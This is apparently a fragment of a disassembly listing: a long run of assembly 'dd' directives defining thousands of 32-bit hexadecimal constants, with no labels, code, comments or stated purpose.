		dd 0AAE6F1F5h, 0DE907E50h, 33720313h, 0E83EE6F1h, 610B41C7h
		dd 0DD5020ADh, 4AECBD6h, 0AB915412h, 4FF7D02Dh,	7A008DE6h
		dd 296FA2B1h, 0DAC1E66Fh, 6EACECF5h, 0FB0D0CC1h, 0D17F9153h
		dd 0BF698312h, 6234F775h, 0C2EB0EE3h, 640F7BA5h, 41A23846h
		dd 9CBC61Eh, 0D2015EF0h, 70ECCF4Ch, 9F5A51F9h, 9B310D0h
		dd 59777BD8h, 3C737DF3h, 6B3D8006h, 0A78D122Ch,	2647E557h
		dd 58660928h, 0B368617Dh, 1D78D7C2h, 0BD93A350h, 82C44D48h
		dd 83F92DE6h, 4EE2F191h, 0F9E8C50Dh, 8FEBA463h,	0E1E90BF2h
		dd 9C8C5E07h, 0ECF2CF1Dh, 0D2A8BE64h, 40D1F5EFh, 51537D49h
		dd 124FD2Fh, 0E849BF5Eh, 0A4A7AECAh, 5BF542F6h,	0EDBC27B0h
		dd 0E20B460Ch, 8FD2928h, 890B0831h, 0CFA700EFh,	4D959B4h
		dd 0C9850F05h, 38FE13A3h, 3916B637h, 95E1C988h,	252AAC2Bh
		dd 0E9616058h, 37985950h, 18B75304h, 82298128h,	7E77C216h
		dd 36877161h, 0D3F34F25h, 0C0D38D34h, 2641AEB8h, 8B0F1B04h
		dd 4EEE7AC6h, 0BA120D48h, 49BA3A89h, 0C457E1A7h, 4CF1274Fh
		dd 0E9E11CF4h, 48A4BEA5h, 7C1907D9h, 70665FD0h,	409DC599h
		dd 89D428CFh, 0B06338E7h, 0C2C85F7h, 0AC7BE9D2h, 0E226D13Ah
		dd 96024C50h, 0C3601629h, 0E476B0DDh, 34C28006h, 0D039172Dh
		dd 4C3130E2h, 321BE5E9h, 0DD2F6A28h, 4E6FE709h,	2801764Ah
		dd 5752957Eh, 4B5531A2h, 0D590D263h, 19B752A2h,	1BE1C11Bh
		dd 943DA2Eh, 7E4497E9h,	9EDD9C45h, 0F2CDBDEEh, 4765EA5Bh
		dd 7881E3BDh, 8C1EB42Eh, 0C1D36580h, 19EE0AEDh,	0BD45298h
		dd 0C6748E36h, 0D9E8A144h, 405E2849h, 34266879h, 0E9170ADDh
		dd 938DB0FCh, 0BC56FE60h, 0EA05934Fh, 50AF8292h, 0C059376Fh
		dd 6BE89796h, 80E0E227h, 3105C05h, 924B5AB0h, 0F693DCF2h
		dd 487E5DFFh, 1F301601h, 3815A4FDh, 5373AC90h, 1C62A415h
		dd 0D1025CA7h, 1396FDEFh, 0CA49F302h, 0EB15E931h, 0AF94D0FBh
		dd 7AE487Ch, 7E222105h,	30D4AB6Dh, 0BA20813h, 0A4EBF82Dh
		dd 0CD363BB0h, 0BB0C1D60h, 980CB543h, 0E289BFA9h, 97B8347Dh
		dd 556C9A7Dh, 0C9E8F9FBh, 0D2367D2Dh, 0CBDDDE95h, 1E84CB96h
		dd 8E43E912h, 4E9507A9h, 21A27C2Fh, 46E882EEh, 0A0172D70h
		dd 8DAC503Ch, 4853742Fh, 0D55FC709h, 16B5D736h,	0CEE917CCh
		dd 51D7C8F7h, 3FE764B8h, 17E0CEC9h, 27B9942h, 28DB47FCh
		dd 0C0208495h, 29186462h, 0F955F3h, 0BC76AE40h,	0E5C11248h
		dd 888F0302h, 0E9C0A16Ch, 87B2CE79h, 735C8416h,	0E692E6A8h
		dd 0B8E9093Bh, 0F737A58h, 2E695E0Ch, 21706D6Bh,	5496EC9Eh
		dd 0B04314ECh, 1748F453h, 58B9FD4Fh, 1F9C1824h,	8216F65Dh
		dd 6EE78950h, 0BF01E6F5h, 0DC5914E0h, 7621EA3Eh, 0A94D3FC0h
		dd 4B842E28h, 0B0512A4h, 39C8EBCFh, 52F5B8E0h, 8351280Ah
		dd 5B7FC72Dh, 4A1DE12Ch, 46F24B49h, 0C462F24Ah,	0D84902C7h
		dd 0A7E28E8Bh, 50887455h, 8E13025h, 47A5E1B9h, 0F8AD0055h
		dd 974ED22Eh, 25076808h, 0FAC0C45Dh, 77AD2568h,	0BA5B94EEh
		dd 0F27ACAB1h, 7F8C86C0h, 0F05B7A1Ah, 62C1FA99h, 0C0F0060Eh
		dd 946009E2h, 0F3FA75B3h, 4C62175Ch, 0B2EA1824h, 20B866h
		dd 35199E23h, 4886041Ch, 2DDD89Dh, 1DDAF381h, 0A2F6AEF9h
		dd 0F09CF725h, 613B6815h, 3FE9097Dh, 572C920Fh,	0B112BDEBh
		dd 30DDBA36h, 4FA2760h,	0F745FE66h, 91F82DDh, 3EC06801h
		dd 0D2C1F23Ah, 27F2E0B4h, 21E4BE11h, 885E917h, 27D4F9BDh
		dd 2F0FEB54h, 0A262BA87h, 40465175h, 90CC28Bh, 7F06B09Fh
		dd 0B1ED8865h, 2D8A6A0Eh, 0DB37E40Fh, 0FEC96CBFh, 0CFBC43D3h
		dd 23B3E9F0h, 5DAC3FE1h, 25F2BED2h, 5336680Ah, 49D569AEh
		dd 438D83C5h, 9843E2Ch,	87124381h, 6006CA2Dh, 4A5E08F6h
		dd 9461EB5Fh, 4393288Bh, 1280F18Dh, 0C382014Ch,	0F6944A1Dh
		dd 0E2DB092Eh, 0D426BF0Bh, 67714270h, 0F99249D1h, 8FAA0853h
		dd 0FC2F6Dh, 0BD4BEEDh,	897F1F94h, 40CD13F3h, 21F2801Ch
		dd 28242D2Ch, 0BB1723D0h, 84178CFDh, 7BCE5D63h,	7CFE97F0h
		dd 96327F69h, 9AFCA4FDh, 0BA029BA8h, 43932EEFh,	7F957857h
		dd 621638DEh, 0FE68EB4Eh, 8253695Ah, 0A5E043DFh, 786822A0h
		dd 51D5C460h, 84A5AF6Ch, 60BDBB20h, 0BCF5A141h,	2F5EBEFDh
		dd 0A10E3281h, 290E313Fh, 6E11B457h, 4845B7ABh,	81982A7Ch
		dd 23568814h, 0CE01037Ch, 82E94EA8h, 5AA9FD1Eh,	0E2C2D157h
		dd 187D6950h, 9F0E92DAh, 0F655E01Ah, 726858A7h,	10B6624Fh
		dd 7BB95107h, 0D1641235h, 411545Dh, 0AC191EA7h,	3D7031B0h
		dd 3A5714D3h, 1AFC8AD5h, 0E629AB5Fh, 0BA9DD8FCh, 7405ECB4h
		dd 4D7C0F81h, 0C9C57869h, 9F90B884h, 3D4F7B9h, 7F3D057Ch
		dd 40BE03C9h, 736AEE40h
		dd 460B341Fh, 0E2158F0Fh, 0EBB7FDD2h, 4EEBD827h, 0A873168Dh
		dd 8E37E17Ch, 0C55A5B63h, 68AE8216h, 7CCC1249h,	28FE4FDBh
		dd 9FC0F0E0h, 7A6905BDh, 0FF14D541h, 0B13DBC4Ah, 963A4459h
		dd 2D070469h, 43287ECBh, 2613F150h, 8A72C871h, 2F9CD427h
		dd 0F662A5FEh, 72987D0Eh, 0E40EB551h, 6166F580h, 21E943E5h
		dd 0EE4B31A8h, 9DCD9A87h, 0ED121FD6h, 0EC2E3EF1h, 7263C63Ah
		dd 0F9E69D16h, 0D5780D20h, 36C52E89h, 59BADA49h, 51A3149Fh
		dd 3D0ADEBBh, 329FFC6Fh, 4E3BAACBh, 0E0F8950Ah,	0F59A98B7h
		dd 6EA0283Ch, 58EC12EAh, 0A75304D6h, 0E8BB00A1h, 9573C952h
		dd 872436F0h, 83523F3h,	5603370Bh, 1FB82EBh, 7A553A07h
		dd 5565B01Bh, 0F26061A4h, 112100D5h, 3F56BD60h,	31254723h
		dd 0A31822C5h, 559DEA8Ch, 6CD96993h, 79EC7B88h,	0C39FAD96h
		dd 2514C868h, 18684FDFh, 221DF1CFh, 0F7805E2Eh,	737738Fh
		dd 0AFDB26E9h, 901A9594h, 47AAC5Ah, 5AB926CCh, 1851DFBh
		dd 89855E4Dh, 5F9E36DDh, 0F7ED50F1h, 9486E9FCh,	50530BA5h
		dd 58122A53h, 0C3313E07h, 9708D826h, 0A4644CFCh, 4CA6F2BFh
		dd 33311517h, 0C8A17FCh, 0A055D78Ch, 0D1D2FB0h,	2BBD5813h
		dd 4AB2A0Bh, 13D29C6Ch,	419FA0E0h, 7A836BF5h, 1F2299C6h
		dd 7D8DB02Fh, 713F2304h, 71FAEE29h, 2821E8D6h, 5E50C1A2h
		dd 18304BF0h, 4D0218EBh, 0D6E93812h, 0E73FAA5Ch, 9CE82DD4h
		dd 9C555B25h, 9FAC6BECh, 9D753C75h, 2FA29DDh, 5FB6A450h
		dd 0C7975C45h, 0AB15940h, 246054BFh, 3335B9h, 9E62564h
		dd 8B50A0E9h, 0B71DD01Eh, 0C5815970h, 782A65C2h, 6061EA61h
		dd 0F8EB0804h, 3A8925Bh, 8491602Eh, 0BEDC3A81h,	0B117C628h
		dd 0C1890030h, 1A66BD57h, 0ABFCFE7Bh, 0D02EAB4h, 75657CC3h
		dd 7456EAC1h, 9F0025DFh, 2D3C2A46h, 0AD4E92h, 42CA8072h
		dd 0E3E9D2F6h, 0E443FEBDh, 8026845Ah, 126FB458h, 0E8E91A0Ch
		dd 0E75C28C7h, 5F17BD7Dh, 26AAD8Eh, 62191BF2h, 0ACC4750Fh
		dd 0BDF12D4Fh, 0DFD5F22Fh, 488AB5CBh, 264EB7C7h, 177A4CAEh
		dd 0A3D4BA62h, 132EA6AEh, 38EF6887h, 585EC524h,	5CF328AFh
		dd 29CE8102h, 820A621Dh, 29EB55F5h, 5664ABF1h, 68CF08A9h
		dd 89B00549h, 0F5823E07h, 769F0DC4h, 4F5BC21Ch,	123ED6E0h
		dd 0F0C721C1h, 0A03FC004h, 7354C51Fh, 5A48BA8Ch, 3C680127h
		dd 0C32960B5h, 805F7F20h, 7917C0B9h, 13A13D6Ah,	0B540B7F4h
		dd 0D756AF12h, 128E544Bh, 64F6AB92h, 4A748B13h,	1CCF61Fh
		dd 0B6525B01h, 0E068279h, 7C6FB9E9h, 6BB46027h,	68B778A7h
		dd 7203378Ch, 2FD8BA3Ah, 30F5395Ch, 2EE02D02h, 0BCF114Bh
		dd 967F676Bh, 0DC9694Bh, 0DD990B7Dh, 0C979C4A9h, 442E6760h
		dd 13E7FC61h, 0FEB36F75h, 3391C101h, 0C827886h,	398F1CDEh
		dd 52AF27F7h, 0C92479EBh, 0EAE8E86Bh, 252E3493h, 3702011Dh
		dd 0E310E01Fh, 81C4114h, 0BD141CA0h, 0B164A351h, 51AA33EAh
		dd 7EFEE4C9h, 2448EAE4h, 61F1CAAh, 50047EC8h, 9190E900h
		dd 0CB890D68h, 7AE59F59h, 90807093h, 0BFD1820Fh, 77459507h
		dd 93CC9480h, 0C3B85688h, 0B90450CAh, 73A7093h,	71E7C5EFh
		dd 6AA2E8ACh, 0E24F3B49h, 0ABC0F762h, 4C640D8Dh, 0A7816610h
		dd 0FA10A85Dh, 0D4B5455Fh, 0EFF50769h, 0A0F98465h, 7507058Ah
		dd 0E9390F6Dh, 27694FB6h, 90DD37ADh, 0BDF52E88h, 0C989A771h
		dd 0C016D7BEh, 0F98C0F0h, 5C88E325h, 8CFDCB79h,	0FBB1444h
		dd 5F4D7A27h, 0ABFC525Eh, 680ED5E2h, 0EA1730CAh, 7512E79Bh
		dd 884E90C2h, 1A484C7Ch, 142C0167h, 0F2290628h,	0E6B8F21h
		dd 358B68E2h, 9100F146h, 0B9053670h, 0CCFDEF0h,	7B96E91Fh
		dd 6816502Eh, 4D8F0126h, 0A9E95804h, 829AAE77h,	5200E45Dh
		dd 0AE5EA7BAh, 424B4A15h, 0D2A37EA0h, 13F61313h, 4FDACC1h
		dd 5D5E9D7h, 675E21AAh,	52F323Dh, 0F3B79C83h, 0E9BAC0BAh
		dd 0C5B7E661h, 9B12A77Bh, 729085DCh, 84906816h,	0A6A7BA17h
		dd 7D11E90Ch, 0C760010Ah, 0F02F6B6Eh, 0C9EAC93Ah, 0D9D60929h
		dd 167E8238h, 91D60167h, 0E3C7BB37h, 0DCACED92h, 0FDF38100h
		dd 43651719h, 5DEF4B5Bh, 9F75C504h, 0A005BAA8h,	35D1E455h
		dd 0E74058C3h, 5B6025B7h, 0DA74E03Dh, 5CC29F2Fh, 685E4011h
		dd 469710DDh, 2CE91296h, 6B31A59Ah, 0B57624A2h,	908430DAh
		dd 27FC514Eh, 648431B4h, 0B7810444h, 9B96362Dh,	9B6200C6h
		dd 53665E06h, 5C5EE890h, 0E4D124EAh, 6BD25F96h,	6BC7E5AAh
		dd 8AC27B5h, 0BB9617E7h, 0F9CBF0D3h, 0CB84C8Ah,	7BA8460Ch
		dd 0A203ECF6h, 95E9DA18h, 5B0A873Fh, 0E07A5B51h, 4D5EE9A8h
		dd 0F8287502h, 0D100C366h, 0A87A61D4h, 35E4E159h, 191F402Bh
		dd 0C128430Dh, 1207E730h, 2A4E4FCh, 0E9FB014Ch,	39812EFEh
		dd 1B33E36h, 0E0056BCDh, 6669C881h, 5E1272EDh, 9D22FB41h
		dd 51045702h, 69CBEF05h, 45BB5301h, 206FD35Ch, 3D1B0B10h
		dd 0A00C4270h, 902BC0A1h, 283A1227h, 0B775E058h, 4EF47A1Bh
		dd 2E488024h, 131916Ch,	9301B3C3h, 5EE36AFFh, 0BF8AA412h
		dd 511CDDB7h, 0B74B388Bh, 0BE9C20Fh, 78417A93h,	0FC22506h
		dd 3E62C5FCh, 19E80A65h, 3F5A37D0h, 5078C3h, 8E120EF0h
		dd 0DCEE979h, 0E489F391h, 0FC69F278h, 58C8957Bh, 408034EDh
		dd 0D3871B93h, 0C3B40642h, 1A27A1FBh, 8ABA575Dh, 38535E40h
		dd 0E611742Fh, 0E0C13015h, 0ED350607h, 0A3387F04h, 0F281C789h
		dd 5D2AF378h, 0D257CA9Bh, 80E28096h, 0F67A90Dh,	99748EEh
		dd 164676F7h, 8A38C199h, 51FAC8EEh, 0BFC4E697h,	0A64ED75Eh
		dd 7B2CB077h, 0F06495Bh, 7FCC5F27h, 0DB5F2A69h,	7E680B32h
		dd 851935E8h, 8C9B76B7h, 1B5D0F4h, 2D1DF073h, 5ED91A94h
		dd 0C400E812h, 5B2FE93Eh, 9D46C860h, 267C7EF6h,	8238C229h
		dd 68285DD6h, 6E44605Dh, 11608245h, 326F881Eh, 0D77F4336h
		dd 8E2023Dh, 31602C1Ch,	70409EC1h, 0C4B2C8F8h, 27B20D05h
		dd 0ED0453A1h, 500A2B4h, 192212Fh, 193CFC95h, 6667C0DEh
		dd 3F351969h, 0F83AE811h, 0FDAEA49Eh, 84B0D40Bh, 0B5A4F667h
		dd 604C2C5Dh, 41EB1667h, 13685326h, 0B7B72C70h,	143C1D2h
		dd 62497FE9h, 0CCA00037h, 5D570BBFh, 0EE12C75Fh, 143A134h
		dd 1795E3EFh, 0E96DE408h, 3B4F28E1h, 26C255Ch, 775B543Ah
		dd 0D088D3EDh, 432C0F7Ah, 39682281h, 0C4686848h, 2DEB8196h
		dd 0EBBC3007h, 16A47116h, 84C50EBh, 8EF7E909h, 0FA7B25FEh
		dd 844D54F8h, 0AB342859h, 26B13E2Ch, 86EF80D6h,	0A4C288Dh
		dd 13C644F2h, 20F98A59h, 71B5BC77h, 109B245Dh, 0A7B35E91h
		dd 84D43BD8h, 556C3081h, 2D174077h, 3137121Ch, 4F693541h
		dd 93306307h, 0A5453C7Ah, 6706C041h, 75B76158h,	0F381B0B1h
		dd 96B44915h, 0BF40806Ch, 4E3FF2B1h, 4155A959h,	12FC7908h
		dd 79EC982Ch, 6A5A0196h, 0F82D6C33h, 0CBD76994h, 31CEDDBBh
		dd 68016E73h, 1CEF8A0Fh, 0B297EE05h, 0D19024F4h, 2C6D629h
		dd 685FDAC7h, 0E9B04A9Fh, 0E72CF235h, 84104C20h, 103B512Eh
		dd 0B3B8025Eh, 0C0200F30h, 42129C8h, 17E9551Eh,	3950A9F6h
		dd 0EBB95EE8h, 312FA658h, 2D643B79h, 2E28A4EAh,	1EDADE54h
		dd 69E12F6Fh, 9A35F8B6h, 8D2C60FFh, 0E74D44B9h,	5C9531E4h
		dd 4C743F0h, 0E96950E8h, 1233A325h, 53808462h, 11640500h
		dd 50952D1Dh, 19F20A6h,	8178D176h, 473E22FAh, 2A6F9345h
		dd 0B18460A9h, 0C474EC41h
		dd 0CEEE4022h, 9ED84E4Bh, 5C3D5D5Ch, 685AD005h,	25F4F309h
		dd 76EF7550h, 7730A1A7h, 7F68CC5Dh, 0ADF5F602h,	83F410E9h
		dd 82431D26h, 6D6F4963h, 0B146AE4Fh, 301B57F9h,	0B04259CEh
		dd 894E4888h, 9B7031D1h, 29789BA5h, 4BEC020h, 5127ABBAh
		dd 0D111C47Ch, 0DE575B46h, 0E97492E2h, 0C48EB789h, 0BB19887h
		dd 7D172E03h, 77C05AF4h, 17359E59h, 2E2C1h, 2EC0C22Ch
		dd 0E9261C9Bh, 5880806Dh, 875AD101h, 8576B50Ch,	575453C2h
		dd 0D741FBB2h, 0B17EA0ECh, 97583E20h, 0F8AA295Fh, 0FCDAA0BAh
		dd 0F2755C47h, 768BE305h, 0BD8E09D3h, 0FE031150h, 516653C9h
		dd 0EF88A9B5h, 0E8C04A30h, 0CF801906h, 0D8DC0636h, 6B809EC7h
		dd 0F1C1B530h, 80FF04ADh, 17B5762Fh, 4A34AB5h, 48885D08h
		dd 2F73607Bh, 0DF35F8C3h, 4051B4Ch, 3041197Dh, 8EA0DD7h
		dd 68515202h, 0BC60F92Bh, 0D6555D05h, 41BE0C46h, 0F060F4F3h
		dd 0EE6FF35Bh, 29A61FD3h, 4E9756DAh, 1ECB497Fh,	25C29FACh
		dd 27391097h, 0EAE08350h, 87170F58h, 8045CDB6h,	31BB0DECh
		dd 2C504Ah, 166A6857h, 0C13B9C6Bh, 0C4943591h, 49AC463h
		dd 5A100114h, 48991732h, 85DC8BEBh, 0B8AC64E9h,	56A2234Ah
		dd 0F7E839DAh, 2828D704h, 9E272EC6h, 1D785917h,	0B1EA1252h
		dd 4A357C78h, 4A0281FFh, 7FD37AE2h, 41BBFD52h, 0FDBF6CAh
		dd 4046E52Ch, 37A698E5h, 0C529AC26h, 87C70109h,	0BFA18BC7h
		dd 6220422Ch, 2A509505h, 7199CA07h, 0EA607532h,	5B486B24h
		dd 0A8D6C47Ch, 3811B10Ch, 50CC004h, 4DFC6A2Bh, 88D42EEBh
		dd 52858AFEh, 4CD32083h, 2F27749Ch, 97925759h, 0A46E37A1h
		dd 37318516h, 0B3F7166h, 750D0B05h, 0C60EA38Fh,	98E4312Bh
		dd 46440245h, 0B39CEC1h, 0FAE91E8Bh, 705F87EAh,	85907F26h
		dd 158FE904h, 5461ECE2h, 3F1F7E35h, 187448A0h, 0C26FD4Ch
		dd 0D918A668h, 946089A2h, 1D39770h, 0A7E56DAFh,	8130C1h
		dd 7E73C2BEh, 0EEC116CAh, 0E416FF07h, 0C218D4A6h, 2EDAF40h
		dd 494FD271h, 0DAC30592h, 50592707h, 2D8F465Dh,	0C24F3F04h
		dd 5E56A08h, 0AE78685Eh, 0E2CDBCCDh, 6386EC39h,	5012C8Fh
		dd 51031EFBh, 53F0E0D1h, 2D4B7ACh, 0E324EBA4h, 40B07DADh
		dd 19E133ACh, 8159C220h, 55DC8247h, 7F6C7F28h, 8712FF8Ch
		dd 494894EEh, 984C385Dh, 3F187898h, 23EB0103h, 26E9D501h
		dd 0EC05094h, 1F037116h, 0DA3A312Dh, 1AA0F94Dh,	0AD390C32h
		dd 0D3CCC29Eh, 89BAC3D3h, 0AEF685DDh, 0F0FE1894h, 259E9F1h
		dd 55681DE1h, 0B138269h, 0FE2ECFCDh, 8C687B49h,	5B7E27D5h
		dd 0C82DFF95h, 0C2DC9F20h, 9D68E179h, 0FE97C655h, 0D1425E28h
		dd 6AB1957h, 692519FCh,	6AEFA2D5h, 0B4E68E8h, 30C88BF3h
		dd 0CFBC4FACh, 20B8D8E9h, 306191C7h, 0D9885166h, 60493C60h
		dd 80C9334Ah, 647A8221h, 5DAE8FBDh, 5329500Eh, 2CC22700h
		dd 0B65BD557h, 0B008A082h, 62A13170h, 0D8BDF749h, 0F0E6984h
		dd 1C3A668Dh, 60B9712Fh, 0DD1ABBFAh, 7B0548B4h,	50EB6275h
		dd 8052089Fh, 4FD6F510h, 4B2CDEF4h, 8AB2914Eh, 5A805189h
		dd 5B490758h, 214C165Bh, 7AD8CE30h, 397CC127h, 79B2BF0Eh
		dd 0FF4832D7h, 0D4972C6Eh, 0D8308B38h, 0EF804D84h, 0BDAFFF74h
		dd 0B59E4873h, 0DE050A52h, 1BA21E42h, 0B8B30D84h, 2ABD9304h
		dd 6F7E4BA1h, 0BFE1E889h, 0E96E7EFEh, 0E9069745h, 4F387980h
		dd 501B4BBh, 3A115695h,	1B1EABCAh, 258255A5h, 556ACFE9h
		dd 0A9B2D9C0h, 522F8A92h, 48C4D1Dh, 0E27AF8E9h,	0D1F716C1h
		dd 0B3A58CEEh, 67F8B65Eh, 60D44592h, 0FA6D9597h, 0AA611A02h
		dd 54CC612Bh, 5EE2EF04h, 0E655A79Eh, 84AB51FFh,	0C920AD2Bh
		dd 0CBA1D621h, 5C97F8F8h, 0FB77FA3Ch, 0B068413Fh, 55375238h
		dd 51A8D640h, 0BD2F1D02h, 40256BDEh, 0B73D7FE6h, 22F9DE22h
		dd 345B6600h, 0B277FECDh, 0C2D3B77Dh, 5840A892h, 2456F581h
		dd 60E760Dh, 4705F3CDh,	491F0C2Ch, 0B60F463h, 10486D4Eh
		dd 0E02DFEDCh, 9AB2708h, 8130E912h, 263CD779h, 0DDAD6F66h
		dd 0BF1F9802h, 0C4E97C55h, 0CE3691D3h, 5F0C122Bh, 6EB07D34h
		dd 2AA47232h, 0C3545721h, 808FD858h, 3338DBB9h,	0C1FFCA0Bh
		dd 3D353999h, 130407ACh, 18B3038Bh, 593017C7h, 2EC71C28h
		dd 0B5742588h, 1C3C010Dh, 0CE38A6Eh, 8E9CC884h,	0F246BD2Bh
		dd 11AC6812h, 68E7DEECh, 9685D82h, 47735428h, 50709052h
		dd 0E69D0E92h, 0EAC128D2h, 75CD49A5h, 3A13724Ch, 0F921AA86h
		dd 9C3B2F02h, 0F7488B79h, 0B6AF04CCh, 7584AE8Ch, 6E11B1AFh
		dd 69D10F1h, 2C8067E9h,	0E72203B8h, 5E231E48h, 7CBE7907h
		dd 0F653FBA2h, 7D570E60h, 820CC1CDh, 33285D12h,	930B5E2Eh
		dd 5E7DA89Ah, 0A2C433CAh, 0B501162Fh, 1CB75B30h, 135FB081h
		dd 3B434858h, 1616E5A4h, 0A8F87FAEh, 0E95F0B01h, 82F3E24Ah
		dd 908B573h, 747E0957h,	0D0218F8Ch, 0B37D74C5h,	0F3C01888h
		dd 1362F775h, 0B8E18596h, 0CD45101Ch, 13AB5D2Ch, 4A991BCh
		dd 0D8550F6h, 4313BF7Ch, 13BAEED1h, 8A61EE1Ah, 387F3588h
		dd 0CFE5C54h, 6DFA4C5Bh, 2FA36ADCh, 0E87CD95Ah,	6E5DBE7Ch
		dd 0BF066857h, 731FCD07h, 0EDC61AA7h, 9CF50412h, 8207FE2Bh
		dd 0B1715DEBh, 580976A5h, 958E6752h, 3D29B0D1h,	5507ED09h
		dd 8EA43098h, 0BC604A81h, 7CE50C3h, 0C171718Fh,	51C0C626h
		dd 60E63F5Ah, 0AB722312h, 0A3B50E3h, 0C426AD5Ah, 0B90045C3h
		dd 8E062225h, 6F4ABBF4h, 9C836191h, 8D350C81h, 6AA2F5F8h
		dd 403FEDB0h, 0CF39809Dh, 0F6EF9D74h, 16D0C794h, 0A3F25BFAh
		dd 1EADC2C6h, 16FA9CD3h, 0A109A910h, 0E67A0201h, 0CB582605h
		dd 4E320916h, 437C7D53h, 0A4BA48C5h, 8049B91h, 0D5013CE2h
		dd 81BD484h, 2B4E901Ch,	350CC141h, 719633h, 5E867891h
		dd 4103ED6Eh, 140CA008h, 63B9511Ch, 0B7B28C9h, 0C6350429h
		dd 0F80516FEh, 0FCF7A3D5h, 68822AE2h, 0B8793F3Bh, 756AE986h
		dd 34EF07BDh, 0B62ED2B7h, 0FE2429DCh, 0D72501C0h, 0B3531580h
		dd 0CB508054h, 0E92CDBBDh, 5D8C3FDDh, 28C24456h, 29F2327Ch
		dd 4FB7D727h, 0ACAC6564h, 0D701C9A9h, 514E4B5Ah, 0E9B19AA2h
		dd 51162F0Fh, 83D625E6h, 0BADCC6D1h, 0D81D1D32h, 0F8312619h
		dd 9E1080h, 0BA6712BDh,	0B1EA2942h, 0B10C634h, 6805ACB6h
		dd 7DAC024Bh, 0F3149CEh, 447FFEC2h, 34BA5E05h, 239FC018h
		dd 645AE61Ah, 0FE8494E9h, 808CEB11h, 267E7BF7h,	8FFDE025h
		dd 0F16208B1h, 6EC228B4h, 64937B87h, 5E8BE3F8h,	6884EEADh
		dd 7F32B44Ch, 804A7D60h, 0E7C012E7h, 0F2EF508Ch, 72CB4706h
		dd 35CB05B5h, 7EE7CDBAh, 7D1212ECh, 1AB58C7Ah, 91737F2h
		dd 0E5110F48h, 1884EB1h, 82245AE9h, 8F405F89h, 81D330FCh
		dd 0C1FEB206h, 3D9C780Ah, 0E52C38EEh, 95F14011h, 64BE371h
		dd 9D7478FCh, 43833DA9h, 6AE2621Fh, 7669BD60h, 50724F36h
		dd 0E908801Ch, 0F95C4A97h, 0CBEFA568h, 84D72DC5h, 0A4AF296Fh
		dd 0CBBE4BADh, 52BBBA17h, 8189BD0Ah, 2F580E81h,	13F9E7D0h
		dd 0AE056B5Ch, 4EF21F80h, 80485E8Dh, 361BE7E0h,	7319226h
		dd 49C1BD02h, 54077FF0h, 6B589005h, 0F828017Ch,	5F5F072Dh
		dd 4564B0h, 5A20C650h, 0ABE9C801h, 0CE28D59h, 48774441h
		dd 355F00F8h, 38F531B4h, 0FC137D05h, 9845B1E3h,	60AF6B3Eh
		dd 4F5C6824h, 4BFD3BE1h, 0B87E71A5h, 9768EDAh, 0ACC1E6CFh
		dd 67450385h, 412D6AAEh
		dd 2AA0B5Ah, 709BE97Fh,	82583E76h, 14FF82C3h, 4E12C17Eh
		dd 2A6EA413h, 8043494h,	24FE535Dh, 588CBF9Bh, 0A6D2EE9h
		dd 0A5858597h, 575B8CFCh, 0EC1A926Eh, 0FF250B2h, 3AD906E0h
		dd 0F9288EE3h, 0D4E92C17h, 0C2AB1F53h, 77C8663Ch, 3204F0BBh
		dd 0DBF72623h, 5CA22380h, 0C186040h, 793E0827h,	28BA294Bh
		dd 0E9175215h, 89ABFEDEh, 8B71302Ch, 0B8F02988h, 0CE4F49A5h
		dd 8222F35Ah, 0D65E72E9h, 0FDA79F1Ch, 4F72527h,	34EA0DB5h
		dd 0E3DD5344h, 0D8FB924Bh, 51172AF2h, 2F01427Eh, 68B3280Fh
		dd 282B2C70h, 0B0E4FF79h, 0B6E927FAh, 65DFBD8Bh, 39933FC4h
		dd 4E4BCEB4h, 2BD031BFh, 0D80BC211h, 29C10B48h,	0CC413603h
		dd 500294Bh, 0DC981A14h, 521943BCh, 7EEBFBF4h, 583032A5h
		dd 10E9EE1h, 0CF1ECDBEh, 0BFE4EB5Fh, 0D9392CF9h, 99361CCh
		dd 16F70294h, 71C220B2h, 8EAC01Ch, 0CABFE2D2h, 45B3008Bh
		dd 0E9B0C380h, 56694EF1h, 88079482h, 6D402617h,	0E0C67B80h
		dd 4A76F4E6h, 0F25E463Fh, 0C77BCD95h, 21320705h, 84C2EF29h
		dd 366802BEh, 0D59DAA50h, 45252915h, 59540909h,	1AD19200h
		dd 0E9180E0Ah, 0EE7549D6h, 4B2572AFh, 0FC4BB2Ah, 0DEB30817h
		dd 7A16E1D4h, 855F21Eh,	3E1D0768h, 91D40392h, 7086021Eh
		dd 15D63436h, 55017DF8h, 0E2C11488h, 985D2004h,	41135AEEh
		dd 0BCB12CE9h, 0EB11D42Bh, 0ABB565ECh, 0BCC24CD8h, 77D02DE3h
		dd 48317D58h, 2AA95E89h, 415A298Bh, 33927DB0h, 0DC9703B2h
		dd 6BE9D008h, 62AE9F5Eh, 0E0DD5C39h, 0B5A6869Bh, 5498AD9h
		dd 48AC98C4h, 0BCCDF584h, 64BF8492h, 1E800F02h,	9B05F848h
		dd 25CDC213h, 5DC804BFh, 0A7F81722h, 9D774086h,	0A547ED38h
		dd 3D6F549Bh, 8FCFA880h, 2D5EF529h, 0EE065409h,	8165F801h
		dd 7AF45D07h, 7D333F7Eh, 0C2F03Eh, 79685351h, 1A7F8B19h
		dd 0AD9780E9h, 0C0BA8Ah, 0F7C3635h, 9BAA9B89h, 0F46530FFh
		dd 0CC888049h, 49C0DEB7h, 5752A57Eh, 7E728B74h,	9BC74486h
		dd 17FD5861h, 0C0ACE8E9h, 0A0E7BD5Eh, 2262548h,	680B3153h
		dd 98576D35h, 0BF38527Eh, 964261D6h, 3AFA9043h,	53212F0Bh
		dd 0B190BA50h, 0D7F2ECC0h, 0C026B201h, 42E0F0Ch, 0E92D5163h
		dd 54AD61B0h, 0F238A83Fh, 9273F75Bh, 9B472C2h, 0FAF46C7Fh
		dd 289DB41Dh, 0D0D99553h, 0E96239C8h, 5BE7D85Bh, 2D29EE5Ah
		dd 5FE2C82Ah, 2C4AB2ECh, 4F5AF523h, 638FE0B1h, 3F5BFF82h
		dd 12230308h, 6B79B030h, 0B0FE8E40h, 9D0CEC13h,	47D5DB89h
		dd 685A07F4h, 95771B52h, 31E985DAh, 2E8F9983h, 0BEA021BDh
		dd 0AE2A68C8h, 5465782Fh, 45EB5AD3h, 0AC2E57CEh, 5919C026h
		dd 5FE961DDh, 45A7A467h, 0B8E850E4h, 48B9723Ch,	59A41FB8h
		dd 4BF7F867h, 0F9E5A43Dh, 5E372152h, 0B73E8E8Bh, 0E8FE9DF0h
		dd 0B17D1551h, 6ED0C302h, 9EE23D54h, 0F7D3225Fh, 0A7A7F47h
		dd 0B07EF26h, 35EAF913h, 0B58B05AAh, 3580EB44h,	97516AE9h
